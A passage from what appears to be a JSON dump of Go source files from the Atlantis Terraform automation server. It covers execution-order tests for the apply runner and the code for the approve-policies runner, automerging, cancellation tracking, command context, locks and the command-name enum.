{\n\t\t\t\tcommitUpdater.VerifyWasCalledOnce().UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tEq[models.CommitStatus](models.SuccessCommitStatus),\n\t\t\t\t\tEq[command.Name](command.Apply),\n\t\t\t\t\tEq(c.ExpVCSStatusSucc),\n\t\t\t\t\tEq(c.ExpVCSStatusTotal),\n\t\t\t\t)\n\t\t\t} else {\n\t\t\t\tcommitUpdater.VerifyWasCalled(Never()).UpdateCombinedCount(\n\t\t\t\t\tAny[logging.SimpleLogging](),\n\t\t\t\t\tAny[models.Repo](),\n\t\t\t\t\tAny[models.PullRequest](),\n\t\t\t\t\tAny[models.CommitStatus](),\n\t\t\t\t\tEq[command.Name](command.Apply),\n\t\t\t\t\tAny[int](),\n\t\t\t\t\tAny[int](),\n\t\t\t\t)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestApplyCommandRunner_ExecutionOrder(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tRegisterMockTestingT(t)\n\n\tcases := []struct {\n\t\tDescription           string\n\t\tProjectContexts       []command.ProjectContext\n\t\tProjectCommandOutputs []command.ProjectCommandOutput\n\t\tRunnerInvokeMatch     []*EqMatcher\n\t\tExpComment            string\n\t\tApplyFailed           bool\n\t}{\n\t\t{\n\t\t\tDescription: \"When first apply fails, the second don't run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelApplyEnabled:      true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tParallelApplyEnabled:      true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tApplyFailed: true,\n\t\t\tExpComment: \"Ran Apply for 2 projects:\\n\\n\" +\n\t\t\t\t\"1. project: `First` dir: `` workspace: ``\\n1. project: `Second` dir: `` workspace: ``\\n---\\n\\n### 1. project: `First` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### 2. project: `Second` dir: `` workspace: ``\\n**Apply Error**\\n```\\nshabang\\n```\\n\\n---\\n### Apply Summary\\n\\n2 projects, 1 successful, 0 failed, 1 errored\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"When first apply fails, the second not will run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelApplyEnabled:      true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tParallelApplyEnabled:      true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tNever(),\n\t\t\t},\n\t\t\tApplyFailed: true,\n\t\t\tExpComment:  \"Ran Apply for project: `First` dir: `` workspace: ``\\n\\n**Apply Error**\\n```\\nshabang\\n```\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"When both in a group of two succeeds, the following two will run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelApplyEnabled:      true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Third\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Fourth\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t\tNever(),\n\t\t\t\tNever(),\n\t\t\t},\n\t\t\tApplyFailed: true,\n\t\t\tExpComment: \"Ran Apply for 2 projects:\\n\\n\" +\n\t\t\t\t\"1. project: `First` dir: `` workspace: ``\\n1. project: `Second` dir: `` workspace: ``\\n---\\n\\n### 1. project: `First` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### 2. project: `Second` dir: `` workspace: ``\\n**Apply Error**\\n```\\nshabang\\n```\\n\\n---\\n### Apply Summary\\n\\n2 projects, 1 successful, 0 failed, 1 errored\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"When one out of two fails, the following two will not run\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tParallelApplyEnabled:      true,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Third\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t\tProjectName:               \"Fourth\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tApplyFailed: true,\n\t\t\tExpComment: \"Ran Apply for 4 projects:\\n\\n\" +\n\t\t\t\t\"1. project: `First` dir: `` workspace: ``\\n1. project: `Second` dir: `` workspace: ``\\n1. project: `Third` dir: `` workspace: ``\\n1. project: `Fourth` dir: `` workspace: ``\\n---\\n\\n### 1. project: `First` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### 2. project: `Second` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### 3. project: `Third` dir: `` workspace: ``\\n**Apply Error**\\n```\\nshabang\\n```\\n\\n---\\n### 4. project: `Fourth` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### Apply Summary\\n\\n4 projects, 3 successful, 0 failed, 1 errored\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"Don't block when parallel is not set\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       0,\n\t\t\t\t\tProjectName:               \"First\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup:       1,\n\t\t\t\t\tProjectName:               \"Second\",\n\t\t\t\t\tAbortOnExecutionOrderFail: true,\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tApplyFailed: true,\n\t\t\tExpComment: \"Ran Apply for 2 projects:\\n\\n\" +\n\t\t\t\t\"1. project: `First` dir: `` workspace: ``\\n1. project: `Second` dir: `` workspace: ``\\n---\\n\\n### 1. project: `First` dir: `` workspace: ``\\n**Apply Error**\\n```\\nshabang\\n```\\n\\n---\\n### 2. project: `Second` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### Apply Summary\\n\\n2 projects, 1 successful, 0 failed, 1 errored\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"Don't block when abortOnExecutionOrderFail is not set\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup: 0,\n\t\t\t\t\tProjectName:         \"First\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup: 1,\n\t\t\t\t\tProjectName:         \"Second\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tError: errors.New(\"shabang\"),\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tApplyFailed: true,\n\t\t\tExpComment: \"Ran Apply for 2 projects:\\n\\n\" +\n\t\t\t\t\"1. project: `First` dir: `` workspace: ``\\n1. project: `Second` dir: `` workspace: ``\\n---\\n\\n### 1. project: `First` dir: `` workspace: ``\\n**Apply Error**\\n```\\nshabang\\n```\\n\\n---\\n### 2. project: `Second` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### Apply Summary\\n\\n2 projects, 1 successful, 0 failed, 1 errored\",\n\t\t},\n\t\t{\n\t\t\tDescription: \"All project finished successfully\",\n\t\t\tProjectContexts: []command.ProjectContext{\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup: 0,\n\t\t\t\t\tProjectName:         \"First\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tExecutionOrderGroup: 1,\n\t\t\t\t\tProjectName:         \"Second\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tProjectCommandOutputs: []command.ProjectCommandOutput{\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t\t{\n\t\t\t\t\tApplySuccess: \"Great success!\",\n\t\t\t\t},\n\t\t\t},\n\t\t\tRunnerInvokeMatch: []*EqMatcher{\n\t\t\t\tOnce(),\n\t\t\t\tOnce(),\n\t\t\t},\n\t\t\tApplyFailed: false,\n\t\t\tExpComment: \"Ran Apply for 2 projects:\\n\\n\" +\n\t\t\t\t\"1. project: `First` dir: `` workspace: ``\\n1. project: `Second` dir: `` workspace: ``\\n---\\n\\n### 1. project: `First` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### 2. project: `Second` dir: `` workspace: ``\\n```diff\\nGreat success!\\n```\\n\\n---\\n### Apply Summary\\n\\n2 projects, 2 successful, 0 failed, 0 errored\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Description, func(t *testing.T) {\n\t\t\tvcsClient := setup(t)\n\n\t\t\tscopeNull := metricstest.NewLoggingScope(t, logger, \"atlantis\")\n\n\t\t\tpull := &github.PullRequest{\n\t\t\t\tState: github.Ptr(\"open\"),\n\t\t\t}\n\t\t\tmodelPull := models.PullRequest{BaseRepo: testdata.GithubRepo, State: models.OpenPullState, Num: testdata.Pull.Num}\n\n\t\t\tcmd := &events.CommentCommand{Name: command.Apply}\n\n\t\t\tctx := &command.Context{\n\t\t\t\tUser:     testdata.User,\n\t\t\t\tLog:      logging.NewNoopLogger(t),\n\t\t\t\tScope:    scopeNull,\n\t\t\t\tPull:     modelPull,\n\t\t\t\tHeadRepo: testdata.GithubRepo,\n\t\t\t\tTrigger:  command.CommentTrigger,\n\t\t\t}\n\n\t\t\tWhen(githubGetter.GetPullRequest(logger, testdata.GithubRepo, testdata.Pull.Num)).ThenReturn(pull, nil)\n\t\t\tWhen(eventParsing.ParseGithubPull(logger, pull)).ThenReturn(modelPull, modelPull.BaseRepo, testdata.GithubRepo, nil)\n\n\t\t\tWhen(projectCommandBuilder.BuildApplyCommands(ctx, cmd)).ThenReturn(c.ProjectContexts, nil)\n\t\t\tfor i := range c.ProjectContexts {\n\t\t\t\tWhen(projectCommandRunner.Apply(c.ProjectContexts[i])).ThenReturn(c.ProjectCommandOutputs[i])\n\t\t\t}\n\n\t\t\tapplyCommandRunner.Run(ctx, cmd)\n\n\t\t\tfor i := range c.ProjectContexts {\n\t\t\t\tprojectCommandRunner.VerifyWasCalled(c.RunnerInvokeMatch[i]).Apply(c.ProjectContexts[i])\n\t\t\t}\n\n\t\t\trequire.Equal(t, c.ApplyFailed, ctx.CommandHasErrors)\n\n\t\t\tvcsClient.VerifyWasCalledOnce().CreateComment(\n\t\t\t\tAny[logging.SimpleLogging](), Eq(testdata.GithubRepo), Eq(modelPull.Num), Eq(c.ExpComment), Eq(\"apply\"),\n\t\t\t)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/approve_policies_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\nfunc NewApprovePoliciesCommandRunner(\n\tcommitStatusUpdater CommitStatusUpdater,\n\tprjCommandBuilder ProjectApprovePoliciesCommandBuilder,\n\tprjCommandRunner ProjectApprovePoliciesCommandRunner,\n\tpullUpdater *PullUpdater,\n\tdbUpdater *DBUpdater,\n\tSilenceNoProjects bool,\n\tsilenceVCSStatusNoProjects bool,\n\tvcsClient vcs.Client,\n) *ApprovePoliciesCommandRunner {\n\treturn &ApprovePoliciesCommandRunner{\n\t\tcommitStatusUpdater:        commitStatusUpdater,\n\t\tprjCmdBuilder:              prjCommandBuilder,\n\t\tprjCmdRunner:               prjCommandRunner,\n\t\tpullUpdater:                pullUpdater,\n\t\tdbUpdater:                  dbUpdater,\n\t\tSilenceNoProjects:          SilenceNoProjects,\n\t\tsilenceVCSStatusNoProjects: silenceVCSStatusNoProjects,\n\t\tvcsClient:                  vcsClient,\n\t}\n}\n\ntype ApprovePoliciesCommandRunner struct {\n\tcommitStatusUpdater CommitStatusUpdater\n\tpullUpdater         *PullUpdater\n\tdbUpdater           *DBUpdater\n\tprjCmdBuilder       ProjectApprovePoliciesCommandBuilder\n\tprjCmdRunner        ProjectApprovePoliciesCommandRunner\n\t// SilenceNoProjects is whether Atlantis should respond to PRs if no projects\n\t// are found\n\tSilenceNoProjects          bool\n\tsilenceVCSStatusNoProjects bool\n\tvcsClient                  vcs.Client\n}\n\nfunc (a *ApprovePoliciesCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tbaseRepo := ctx.Pull.BaseRepo\n\tpull := ctx.Pull\n\n\tif err := a.commitStatusUpdater.UpdateCombined(ctx.Log, baseRepo, pull, models.PendingCommitStatus, command.PolicyCheck); err != nil {\n\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t}\n\n\tprojectCmds, err := a.prjCmdBuilder.BuildApprovePoliciesCommands(ctx, cmd)\n\tif err != nil {\n\t\tif statusErr := a.commitStatusUpdater.UpdateCombined(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.FailedCommitStatus, command.PolicyCheck); statusErr != nil {\n\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", statusErr)\n\t\t}\n\t\ta.pullUpdater.updatePull(ctx, cmd, command.Result{Error: err})\n\t\treturn\n\t}\n\n\tif len(projectCmds) == 0 && a.SilenceNoProjects {\n\t\tctx.Log.Info(\"determined there was no project to run approve_policies in\")\n\t\tif !a.silenceVCSStatusNoProjects {\n\t\t\t// If there were no projects modified, we set successful commit statuses\n\t\t\t// with 0/0 projects approve_policies successfully because some users require\n\t\t\t// the Atlantis status to be passing for all pull requests.\n\t\t\tctx.Log.Debug(\"setting VCS status to success with no projects found\")\n\t\t\tif err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, models.SuccessCommitStatus, command.PolicyCheck, 0, 0); err != nil {\n\t\t\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t\t\t}\n\t\t}\n\t\treturn\n\t}\n\n\tresult := runProjectCmds(projectCmds, a.prjCmdRunner.ApprovePolicies)\n\n\ta.pullUpdater.updatePull(\n\t\tctx,\n\t\tcmd,\n\t\tresult,\n\t)\n\n\tpullStatus, err := a.dbUpdater.updateDB(ctx, pull, result.ProjectResults)\n\tif err != nil {\n\t\tctx.Log.Err(\"writing results: %s\", err)\n\t\treturn\n\t}\n\n\ta.updateCommitStatus(ctx, pullStatus)\n}\n\nfunc (a *ApprovePoliciesCommandRunner) updateCommitStatus(ctx *command.Context, pullStatus models.PullStatus) {\n\tvar numSuccess int\n\tvar numErrored int\n\tstatus := models.SuccessCommitStatus\n\n\tnumSuccess = pullStatus.StatusCount(models.PassedPolicyCheckStatus)\n\tnumErrored = pullStatus.StatusCount(models.ErroredPolicyCheckStatus)\n\n\tif numErrored > 0 {\n\t\tstatus = models.FailedCommitStatus\n\t}\n\n\tif err := a.commitStatusUpdater.UpdateCombinedCount(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull, status, command.PolicyCheck, numSuccess, len(pullStatus.Projects)); err != nil {\n\t\tctx.Log.Warn(\"unable to update commit status: %s\", err)\n\t}\n}\n"
  },
  {
    "path": "server/events/automerger.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\ntype AutoMerger struct {\n\tVCSClient       vcs.Client\n\tGlobalAutomerge bool\n}\n\nfunc (c *AutoMerger) automerge(ctx *command.Context, pullStatus models.PullStatus, deleteSourceBranchOnMerge bool, mergeMethod string) {\n\t// We only automerge if all projects have been successfully applied.\n\tfor _, p := range pullStatus.Projects {\n\t\tif p.Status != models.AppliedPlanStatus {\n\t\t\tctx.Log.Info(\"not automerging because project at dir %q, workspace %q has status %q\", p.RepoRelDir, p.Workspace, p.Status.String())\n\t\t\treturn\n\t\t}\n\t}\n\n\t// Comment that we're automerging the pull request.\n\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, automergeComment, command.Apply.String()); err != nil {\n\t\tctx.Log.Err(\"failed to comment about automerge: %s\", err)\n\t\t// Commenting isn't required so continue.\n\t}\n\n\t// Make the API call to perform the merge.\n\tctx.Log.Info(\"automerging pull request\")\n\tvar pullOptions models.PullRequestOptions\n\tpullOptions.DeleteSourceBranchOnMerge = deleteSourceBranchOnMerge\n\tpullOptions.MergeMethod = mergeMethod\n\terr := c.VCSClient.MergePull(ctx.Log, ctx.Pull, pullOptions)\n\n\tif err != nil {\n\t\tctx.Log.Err(\"automerging failed: %s\", err)\n\n\t\tfailureComment := fmt.Sprintf(\"Automerging failed:\\n```\\n%s\\n```\", err)\n\t\tif commentErr := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, failureComment, command.Apply.String()); commentErr != nil {\n\t\t\tctx.Log.Err(\"failed to comment about automerge failing: %s\", err)\n\t\t}\n\t}\n}\n\n// automergeEnabled returns true if automerging is enabled in this context.\nfunc (c *AutoMerger) automergeEnabled(projectCmds []command.ProjectContext) bool {\n\t// Use project automerge settings if projects exist; otherwise, use global automerge settings.\n\tautomerge := c.GlobalAutomerge\n\tif len(projectCmds) > 0 {\n\t\tautomerge = projectCmds[0].AutomergeEnabled\n\t}\n\treturn automerge\n}\n\n// deleteSourceBranchOnMergeEnabled returns true if we should delete the source branch on merge in this context.\nfunc (c *AutoMerger) deleteSourceBranchOnMergeEnabled(projectCmds []command.ProjectContext) bool {\n\t//check if this repo is configured for automerging.\n\treturn (len(projectCmds) > 0 && projectCmds[0].DeleteSourceBranchOnMerge)\n}\n"
  },
  {
    "path": "server/events/cancel_command_runner.go",
    "content": "package events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/vcs\"\n)\n\nconst cancelComment = \"Cancelled all queued operations and released working directory locks for this pull request.\\n\" +\n\t\"New operations can now be started. Currently running operations will continue to completion.\"\n\nfunc NewCancelCommandRunner(\n\tvcsClient vcs.Client,\n\tprojectCmdRunner ProjectCommandRunner,\n\tpullUpdater *PullUpdater,\n\tworkingDirLocker WorkingDirLocker,\n\tsilenceNoProjects bool,\n) *CancelCommandRunner {\n\treturn &CancelCommandRunner{\n\t\tVCSClient:         vcsClient,\n\t\tProjectCmdRunner:  projectCmdRunner,\n\t\tPullUpdater:       pullUpdater,\n\t\tWorkingDirLocker:  workingDirLocker,\n\t\tSilenceNoProjects: silenceNoProjects,\n\t}\n}\n\ntype CancelCommandRunner struct {\n\tVCSClient         vcs.Client\n\tProjectCmdRunner  ProjectCommandRunner\n\tPullUpdater       *PullUpdater\n\tWorkingDirLocker  WorkingDirLocker\n\tSilenceNoProjects bool\n}\n\nfunc (c *CancelCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tif c.ProjectCmdRunner == nil {\n\t\tctx.Log.Err(\"ProjectCmdRunner is nil\")\n\t\treturn\n\t}\n\n\t// Get the DefaultProjectCommandRunner to access the process tracker\n\tdefaultRunner, ok := c.ProjectCmdRunner.(*DefaultProjectCommandRunner)\n\tif !ok {\n\t\tctx.Log.Err(\"ProjectCmdRunner is not a DefaultProjectCommandRunner\")\n\t\treturn\n\t}\n\n\tif defaultRunner.CancellationTracker == nil {\n\t\tctx.Log.Err(\"CancellationTracker is nil\")\n\t\treturn\n\t}\n\n\t// Cancel the entire pull request to prevent future execution order groups from running\n\tdefaultRunner.CancellationTracker.Cancel(ctx.Pull)\n\n\t// Clean up working directory locks for this pull request\n\tif defaultRunner.WorkingDirLocker != nil {\n\t\tdefaultRunner.WorkingDirLocker.UnlockByPull(ctx.Pull.BaseRepo.FullName, ctx.Pull.Num)\n\t\tctx.Log.Debug(\"Released working directory locks for pull request\")\n\t}\n\n\tctx.Log.Info(\"Cancelled all queued operations and future execution groups for pull request; currently running operations will continue to completion\")\n\tif err := c.VCSClient.CreateComment(ctx.Log, ctx.Pull.BaseRepo, ctx.Pull.Num, cancelComment, \"\"); err != nil {\n\t\tctx.Log.Err(\"unable to comment: %s\", err)\n\t}\n}\n"
  },
  {
    "path": "server/events/cancellation_tracker.go",
    "content": "package events\n\n//go:generate pegomock generate --package mocks -o mocks/mock_cancellation_tracker.go CancellationTracker\nimport (\n\t\"fmt\"\n\t\"sync\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n)\n\ntype CancellationTracker interface {\n\tCancel(pull models.PullRequest)\n\tIsCancelled(pull models.PullRequest) bool\n\tClear(pull models.PullRequest)\n}\n\ntype DefaultCancellationTracker struct {\n\tmutex          sync.RWMutex\n\tcancelledPulls map[string]struct{}\n}\n\nfunc NewCancellationTracker() *DefaultCancellationTracker {\n\treturn &DefaultCancellationTracker{\n\t\tcancelledPulls: make(map[string]struct{}),\n\t}\n}\n\n// Cancel marks an entire pull request as cancelled, preventing any future operations\nfunc (p *DefaultCancellationTracker) Cancel(pull models.PullRequest) {\n\tp.mutex.Lock()\n\tdefer p.mutex.Unlock()\n\n\tpullKeyStr := pullKey(pull)\n\tp.cancelledPulls[pullKeyStr] = struct{}{}\n}\n\n// IsCancelled checks if the entire pull request has been cancelled\nfunc (p *DefaultCancellationTracker) IsCancelled(pull models.PullRequest) bool {\n\tp.mutex.RLock()\n\tdefer p.mutex.RUnlock()\n\t_, exists := p.cancelledPulls[pullKey(pull)]\n\treturn exists\n}\n\n// Clear removes cancellation for a pull request (called when a PR is closed)\nfunc (p *DefaultCancellationTracker) Clear(pull models.PullRequest) {\n\tp.mutex.Lock()\n\tdefer p.mutex.Unlock()\n\tdelete(p.cancelledPulls, pullKey(pull))\n}\n\nfunc pullKey(pull models.PullRequest) string {\n\treturn fmt.Sprintf(\"%s#%d\", pull.BaseRepo.FullName, pull.Num)\n}\n"
  },
  {
    "path": "server/events/command/context.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\ttally \"github.com/uber-go/tally/v4\"\n)\n\n// Trigger represents the how the command was triggered\ntype Trigger int\n\nconst (\n\t// Commands that are automatically triggered (ie. automatic plans)\n\tAutoTrigger Trigger = iota\n\n\t// Commands that are triggered by comments (ie. atlantis plan)\n\tCommentTrigger\n)\n\n// Context represents the context of a command that should be executed\n// for a pull request.\ntype Context struct {\n\t// HeadRepo is the repository that is getting merged into the BaseRepo.\n\t// If the pull request branch is from the same repository then HeadRepo will\n\t// be the same as BaseRepo.\n\t// See https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/incorporating-changes-from-a-pull-request/about-pull-request-merges\n\tHeadRepo models.Repo\n\tPull     models.PullRequest\n\tScope    tally.Scope\n\t// User is the user that triggered this command.\n\tUser models.User\n\tLog  logging.SimpleLogging\n\n\t// Current PR state\n\tPullRequestStatus models.PullReqStatus\n\n\tPullStatus *models.PullStatus\n\n\t// PolicySet is the policy set to target (if specified) for the approve_policies command.\n\tPolicySet string\n\n\t// ClearPolicyApproval is true if approval should be cleared on specified policies.\n\tClearPolicyApproval bool\n\n\tTrigger Trigger\n\n\t// API is true if plan/apply by API endpoints\n\tAPI bool\n\n\t// TeamAllowlistChecker is used to check authorization on a project-level\n\tTeamAllowlistChecker TeamAllowlistChecker\n\n\t// Set true if there were any errors during the command execution\n\tCommandHasErrors bool\n}\n"
  },
  {
    "path": "server/events/command/lock.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"time\"\n)\n\n// LockMetadata contains additional data provided to the lock\ntype LockMetadata struct {\n\tUnixTime int64\n}\n\n// Lock represents a global lock for an atlantis command (plan, apply, policy_check).\n// It is used to prevent commands from being executed\ntype Lock struct {\n\t// Time is the time at which the lock was first created.\n\tLockMetadata LockMetadata\n\tCommandName  Name\n}\n\nfunc (l *Lock) LockTime() time.Time {\n\treturn time.Unix(l.LockMetadata.UnixTime, 0)\n}\n\nfunc (l *Lock) IsLocked() bool {\n\treturn !l.LockTime().IsZero()\n}\n"
  },
  {
    "path": "server/events/command/name.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage command\n\nimport (\n\t\"fmt\"\n\t\"strings\"\n\n\t\"golang.org/x/text/cases\"\n\t\"golang.org/x/text/language\"\n)\n\n// Name is which command to run.\ntype Name int\n\nconst (\n\t// Apply is a command to run terraform apply.\n\tApply Name = iota\n\t// Plan is a command to run terraform plan.\n\tPlan\n\t// Unlock is a command to discard previous plans as well as the atlantis locks.\n\tUnlock\n\t// PolicyCheck is a command to run conftest test.\n\tPolicyCheck\n\t// ApprovePolicies is a command to approve policies with owner check\n\tApprovePolicies\n\t// Autoplan is a command to run terraform plan on PR open/update if autoplan is enabled\n\tAutoplan\n\t// Version is a command to run terraform version.\n\tVersion\n\t// Import is a command to run terraform import\n\tImport\n\t// State is a command to run terraform state rm\n\tState\n\t// Cancel is a command to cancel running plan or apply 